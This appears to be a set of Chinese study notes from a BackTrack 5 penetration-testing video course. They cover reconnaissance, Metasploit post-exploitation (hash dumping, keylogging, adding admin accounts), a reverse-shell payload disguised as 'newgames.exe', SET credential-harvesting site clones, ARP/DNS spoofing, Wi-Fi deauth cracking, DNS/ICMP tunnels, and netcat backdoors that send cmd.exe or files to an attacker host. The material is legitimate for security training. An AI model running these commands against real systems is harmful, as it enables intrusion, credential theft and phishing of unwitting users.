1. 程式人生 > >BT5明教教主視訊記錄

BT5明教教主視訊記錄

BT5明教教主視訊記錄
BackTrack 4: Assuring Security by Penetration Testing
BT 不是黑客程式,是安全滲透測試工具集,是安全檢測工具集。
1.資訊收集
A.dns資訊收集
dnsenum
1.通過google搜尋獲取額外名字或子域域名
2.使用txt檔案暴力破解猜測可能的域名條目
3.使用whois查詢
4.反向查詢
5.支援多重查詢
dnsenum -f dns.txt --dnsserver ns1.cisco.com cisco.com -o out.txt

dnsmap
dnsmap cisco.com -w wordlist.txt -c cisco.csv
dnsmap可以輸出為csv格式檔案,可以用excle開啟

dns伺服器之間區域傳送使用tcp 53
客戶機到伺服器之間使用udp 53
伺服器之間的區域傳送是認證的,使用dns工具時可能會嘗試區域傳送,大都失敗。
B.路由資訊收集
傳統的路由收集使用:
traceroute www.cisco.com (cisco/linux使用此命令)
tracert www.cisco.com(windows使用此命令)

傳統的traceroute效果不好,因為很多防火牆會把traceroute流量過濾掉。

cisco裝置:traceroute ip
會使用udp協議的,高目的埠33434,ttl=1,
第二個包目的埠33435,ttl=2,
很多網際網路防火牆會遮蔽掉高階口upd協議的資料包。
如果通過的話,經過的路由器會報ttl超時的icmp包,從而得到此路由的ip地址。
當到達目的地址時,也會回一個icmp資料包,內容為埠不可達。traceroute完成。

如果訪問的是沒有開放的tcp 埠,回覆型別為reset。

windows平臺的
tracert
直接是發echo request,經過的路由回覆ttl超時,目的地回覆icmp reply。
以上兩種tracert效果不好,高階口udp包會遮蔽,echo request 會遮蔽。

BT5使用特有的tcptraceroute,它傳送的是TCP SYN包,目的埠80。
很少拒絕或阻斷掉,ttl值由一開始遞增。
tcptraceroute www.cisco.com
收到syn/ack表示埠開放,到達,收到RST表示埠關閉,也是到達目的。

tctrace:類似於tcptraceruote命令。
tctrace -i eth0 -d

www.cisco.com
C.maltego
是一個開放源的智慧資訊收集工具。
1.收集公司組織關聯到人
2.郵件地址
3.網站相關的人
4.社群網路關聯到的人
5.電話號碼關聯到人

新增一個搜尋—管理—新增搜尋的角色—新增一個域名
2.掃描工具
a.主機發現
arping 對直連網路使用(LAN),使用arp request進行測試,判斷一個特定ip是否在使用。跨網路不能用,直連網路非常有效。不使用ping的ICMP的echo request協議。

arping -c 3 10.1.1.1

fping 快速使用echo request進行ping,使用ping,快速掃描。
hping3 功能強大,可手動定製資料包,可發起dos攻擊。

nbtscan 掃描windows主機netbios名字掃描一個ip地址範圍的netbios名字資訊。
nbtscan 10.1.1.1-254

nping
可以自定義資料包
nping -c 1 --udp -p 80 10.1.1.1
nping -c 1 --tcp -p 80 --flag ack 10.1.1.1
upd 埠不可達是icmp
tcp 埠不可達是reset

onesixtyone snmp掃描工具
用於找出裝置上的SNMP Community字串,掃描速度非常快。

protos -i eth0 -d 10.1.1.1
掃描主機支援的協議,比較好使的是針對路由器,探測主機開啟哪些協議,不是服務。
b.作業系統指紋
p0f 被動的檢測作業系統型別工具,通過流量檢測。
cisco ios 用p0f來檢測作業系統指紋,用於Cisco IPS 匹配威脅庫

xprobe2 主動探測作業系統指紋
c.埠掃描
nmap 綜合性的,並且特性豐富的埠掃描工具,是一個滲透測試者必備工具。
主機發現、服務版本檢測、作業系統檢測、網路追蹤等功能。
nmap -v -n -sP 10.1.1.0/24 掃描存活主機
nmap -v -n -A 10.1.1.1
可以進一步探測開放的埠是什麼服務。通過相應指令碼去連結、探測服務型別。
可以自定義指紋,如果有一種裝置是nmap不認識的,會生成一個指紋。
d.服務探測
amap 探測特定埠上執行的服務程式。
amap -bq 10.1.1.1 80

ike-scan
ike掃描工具,用於探測ipsec vpn伺服器支援的策略。

sslscan 10.1.1.2

3.漏洞發現
a.cisco工具
cisco auditing tool
掃描cisco路由器一般性漏洞,老的bug,預設密碼,snmp community字串
CAT
b.snmp工具
c.http工具
burp suit是一個功能強大的web應用安全工具。
burp suite可以作為代理抓取http的資料包,甚至可以更改資料包。
比如修改遠端控制的命令。

nikto 掃描由於伺服器配置失誤造成的漏洞
掃描web伺服器存在目錄及檔案。

w3af 需手動安裝

wafw00f 用於檢測waf有沒有存在,是哪一家的waf。
d.smb工具
e.nessus
非常知名的且功能強大的綜合漏洞發現工具,有免費和收費版本。有linux和windows版本。
kali linux預設沒有安裝,需要手動安裝。
4.社會工程學工具
比如:製造一個病毒,通過郵件傳送給其他人。傳送給指定人員針對性的攻擊時魚叉式網路釣魚。
a.JAVA Applet Attack Method
SET 高階的功能強大的工具集。
vi config/set_config
METASPLOIT PATH=/pentest/exploits/framework3
修改預設路徑為正確的安裝路徑
ETTERCAP=ON
ettercap開啟用於DNS欺騙
EMAIL_PROVIDER=gmail.com
設定郵件伺服器
JAVA_ID_PARAM=Java Server
外掛名,寫一個看起來靠譜的名字
SELF_SIGNED_APPLET=ON
支援自簽名外掛
最好配合dns欺騙,可以使用ETTERCAP
需要設定email伺服器,如果需要傳送郵件的話。
做好以後開始進行攻擊。
./set
1.社會工程學攻擊—》網頁攻擊—》java攻擊—》克隆站點
客戶端主動把shell送過來。
木馬封裝方式,防毒軟體會通過特徵程式碼判斷是病毒還是攻擊。

把木馬通過欺騙的方式讓使用者開啟克隆的網站,通過java攻擊
b.Credential Harvester Attack Method
2.社會工程學攻擊—》網頁攻擊—》身份資訊收集—》克隆站點

這是讓使用者通過假冒的郵箱網站輸入使用者名稱密碼得到使用者資訊,而且收集到以後會轉到正確網站,不讓使用者發現。
支援https
5.應用層攻擊MSF
msfconsole 高階攻擊工具套件,應用層攻擊,支援開發,外掛,可以升級,用於攻擊新的漏洞
a.msfconsole
可以呼叫nmap進行掃描,把掃描結果存到msf的資料庫
db_nmap -sV -n -o -v 10.1.1.1
直接在msf下執行nmap,結果不會加入到資料庫。
db_autopwn
自動攻擊
使用msf攻擊的時候呼叫漏洞庫。
sessions -i 1
getuid
run hashdump
到出賬戶密碼的hash值
通過遷移到關鍵系統程序獲得管理員許可權。比如遷移到 explore.exe
ps 檢視系統程序
migrate 1576
連線以後可以得到賬號hash值,可以使用暴力破解軟體算出來。
可以開啟遠端桌面,可以獲得系統資訊,可以檢視系統程序。
可以鍵盤記錄,建立使用者。
keyscan_start
keyscan_dump
keyscan_stop

run getgui -e
開啟遠端桌面
run getgui -u admin admin
新增admin賬戶

使用linux下遠端桌面工具
rdesktop 10.1.1.2:3389
破解密碼
使用暴力破解程式破解微軟密碼,密碼是hash值。
ophcrack -g -d ~/tables_xp_free_small/ -t ~/tables_xp_free_small/ -f ~/sam-new-test
b.msf 離線攻擊
msf線上攻擊如果通過網際網路以後就會有防火牆隔斷,離線攻擊就是利用社會工程學制造一個指令碼讓使用者主動連線過來。

./msfpayload windows/meterpreter/reverse_tcp LHOST=10.1.1.1 LPORT=33333 X > /tmp/newgames.exe
當用戶雙擊時會主動連結過來
msfconsole
本地建立一個伺服器,等待客戶端連線。

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST
set LPORT
exploit
進入等待狀態
連線以後可以做第一個辦法裡的後續攻擊。
6.區域網攻擊
a.mac泛洪攻擊
unknown unicast flooding
不知道目的的單播包
就是交換機收到目的mac地址不在cam表裡的包,就會轉發到所有的埠。
泛洪攻擊就是利用交換機這個特性。
mac flooding attacks
製造大量隨機偽裝源的包發到交換機,交換機會把此條目新增到cam表裡,當數量到達交換機最大容量時,就會把正常超時條目覆蓋掉,合法主機條目超時後就被移除了,而且加不進來了。這樣正常通訊的資料包經過交換機時交換機找不到正確的埠轉發,就會向所有埠轉發。這樣攻擊者就能收到資料包了。

macof 命令就是傳送大量包,實際上是把交換機變成了集線器。
可以多開幾個
dsniff 這個工具是專門用來抓取敏感資料包的。
解決辦法,交換機埠繫結
b.cdp
yersinia -G
一個綜合型的區域網攻擊工具
可以開啟圖形化介面
攻擊者可以建立大量cdp 鄰居,消耗交換機的資源。
攻擊者也可以獲取交換機資訊。
c.dhcp
黑客攻擊使用yersinia 傳送大量dhcp discovery的包請求地址。
讓正常的dhcp伺服器地址分配耗盡,然後黑客架設自己的dhcp伺服器。
同時分配一個閘道器,讓所有的流量經過自己。
d dtp
cisco 2950 3550 交換機介面預設啟動了動態trunk protocol介面,2個交換機把網線一接就可以自動啟動trunk,是個方便管理的設定。
對攻擊者而言也可以方便啟動trunk,啟動trunk以後可以看到其他vlan 的流量。
也可以通過yersinia製造各種tag的資料包 。
dtp 動態trunk協議
e hsrp
可以使用yersinia 把hsrp的主用搶過來,becoming active (mitm)並且轉發。
可以通過hsrp設定金鑰來解決這個問題。
f.stp
讓本機成為根
g.arpspoof
做arp欺騙
通過傳送未請求應答,主動傳送arp應答給目標主機和閘道器,讓目標主機認為攻擊者就是閘道器,讓閘道器認為攻擊者就是目標主機,實際上是雙毒化arp
同時在攻擊者上面啟用路由功能,實現目標主機和閘道器之間的流量經過攻擊者。

在攻擊之前先把路由功能開啟,預設情況下電腦是沒有路由功能的。

echo > 1 /proc/sys/net/ipv4/ip_forward
啟用linux路由功能。

arpspoof -t 10.1.1.1 10.1.1.2
欺騙1,說我就是2.

再啟動一個視窗
arpspoof -t 10.1.1.2 10.1.1.1
欺騙2,說我是1.

然後啟動dsniff 或者其他抓包工具或者用wireshark抓包。
解決辦法是交換機DAI動態監控技術來抵禦arp欺騙
h.ettercap
arp欺騙
功能強大的工具
圖形化的
ettercap -G

新增目標1,目標2
然後開始arp毒化 arp poisoning,捕獲連線。
i.ettercap
進行dns欺騙
跟剛才arp欺騙前面操作一樣,先進性arp欺騙.
目標1是目標主機,目標2是閘道器

編輯
/usr/share/ettercap/etter.dns
把欺騙的條目新增進去。
在ettercap裡,點選外掛,管理外掛,雙擊dns_spoof

使用set工具進行社會工程學攻擊,克隆網站。
7.密碼破解
a.無線密碼破解
airmon-ng start wlan0

開始對wlan0監控

airodump-ng -w test mon0

開始抓包儲存為test

airodump-ng -c 5 -w test mon0
5號通道監控
監控一段時間,檢視到關聯的客戶端

進行deauth攻擊
aireplay-ng -0 5 -a 00:16:46:c5:f2:c0 -c 00:1e:65:57:77:b0 mon0
-a 後跟ap的mac地址,-c後跟客戶端mac地址
做5次deauth攻擊,然後就能看到握手資料包。
然後暴力破解
aircrack-ng -w /wordlists.lst test-*.cap
選擇握手過程的包
剛才的抓包會產生test-1,test-2等資料包檔案。
b.cisco密碼破解
線上密碼破解,就是使用軟體通過網路模擬登入暴力破解賬戶資訊。
ncrack -U user.txt -v -P pass.txt telnet://10.1.1.2
ncrack --user cisco -v -P pass.txt telnet://10.1.1.2
ssh也可以支援,https也支援
8 維持訪問
a. dns隧道技術
10.1.1.100 bt5
10.1.1.101 bt5
10.1.1.1 dns伺服器
10.1.1.2 路由器

需要dns對映,主機對映到10.1.1.100

把ssh等其他應用封裝到udp 53 的流量上,貌似就是dns 查詢。
而且不直接把udp 53流量指向跳轉主機。
dns2tcpd.conf
listen = 0.0.0.0
port = 53
chroot = /tmp
domain = dnstunnel.name.org
resources=ssh:10.1.1.2:22

在本地所有地址監聽,監聽53埠,任何使用者都可以連線,
./dns2tcpd -F -d 1 -f dns2tcpd.conf
啟動服務進行監聽,使用指定配置檔案。
以上配置是跳轉主機。

客戶機上配置
測試能不能提供服務
./dns2tcpc -z dnstunnel.name.org

下面修改客戶端配置檔案

dns2tcpc.conf

domian = dnstunnel.mingjiao.org
resource = ssh
local_port = 2222

定義本地埠2222,當使用ssh連線本地埠2222的時候,就是用tunnel技術連線dnstunnel.name.org域名

啟動客戶端 ./dns2tcpc -c -f dns2tcpc.conf
listening on port : 2222

ssh -p 2222 [email protected]
ssh連線本地2222埠
b.ping隧道技術
ptunnel
伺服器端輸入此命令就是開啟ping tunnel

客戶端 ptunnel -p 10.1.1.100 -lp 2222 -da 10.1.1.2 -dp 22

客戶端建立隧道,連線本地2222埠的時候ping 隧道到10.1.1.100,然後伺服器轉到10.1.1.2 的22埠。
然後在客戶端輸入ssh -p 2222 [email protected]
如果抓包會看到echo request 資料包,裡面內容加密。
c.ssl隧道技術
伺服器端配置
stunnel.conf

accept = 2323
connect = 10.1.1.2:23

建立臨時資料夾
啟動伺服器端:stunnel /etc/stunnel/stunnel.conf

執行後沒有提示,但已經在後臺執行。

客戶端配置:

stunnel.conf

accept = 2323
connect = 10.1.1.100:2323
當連線本地2323埠時,轉到10.1.1.100的2323埠

客戶端啟動: stunnel /etc/stunnel/stunnel.conf

然後在客戶端執行:telnet 127.0.0.1 2323
stunnel客戶端服務端的配置好像相同,只是資料流不一樣。
d.代理伺服器3proxy
3proxy.cfg 新版kali沒有

external 10.1.2.1
internal 10.1.1.1
tcppm 80 10.1.1.1 80

當連線外部地址10.1.2.1的80的時候,轉到內部地址10.1.1.2的80上

3proxy cfg /cfg/3proxy.cfg
檢視是否工作

netstat -nap | grep 80
可以用在網路裝置開啟http服務的情況。
e.netcat
只有60k大小,也叫瑞士軍刀。功能很多很多,黑客必備工具。左後門比較合適因為比較小。
netcat擁有很多功能,可以掃描埠,可以連線ftp伺服器。

nc -v -n -z 10.1.1.1 1-1024

ftp連線
nc 10.1.1.1 21
指定21埠就是使用ftp協議進行連線。
輸入的應該是應用層命令
PORT 10,1,1,101,4,38

輸入PORT以後伺服器會跟客戶機建立一個第二通道,通過第二通道執行一些命令

nc http 請求

nc 202.102.1.101 80 (以下內容手敲進去)
GET / HTTP

nc smtp
用nc傳送郵件

nc pop3收郵件

通過nc製造後門,有windows版,也有linux版

nc.exe -d -L -p 1234 -e cmd.exe

啟動一個服務端,埠為1234,當有連線進來時,把cmd.exe給你。
L是斷開後可以重連,l斷開後不能重連

然後在客戶端這麼連線:nc 10.1.1.1 1234

第二種是自己作為伺服器,讓中標的主動連過來。

在本地: nc -l -p 1234
在本地1234埠等待連線。

肉雞上執行
nc.exe -d 10.1.1.101 1234 -e cmd.exe
把cmd.exe送給10.1.1.101的1234

通過nc傳檔案
nc.exe -u 10.1.1.101 53 < test.txt
把test.txt通過udp 53傳給10.1.1.101

本地
nc -l -u -p 53 > file.txt
本地udp 53埠進行偵聽,把檔案放到file.txt

netcat容易被防毒軟體發現,但是原始碼是公開的,可以修改。

中繼功能

nc可以中繼,跟代理伺服器差不多,同時可以抓包。

首先改配置檔案。
telnet_relay (要有可執行許可權)

#!/bin/bash
nc -o telnet.hack.out 10.1.1.2 23

#輸出到telnet.hack.out
然後執行
nc -l -p 23 -e telnet_relay
就是在本地偵聽23號埠,轉到telnet_relay
cryptcat
nc提供了強大的功能,但是有個缺點是流量是明文。
此工具對流量進行加密,用法一樣。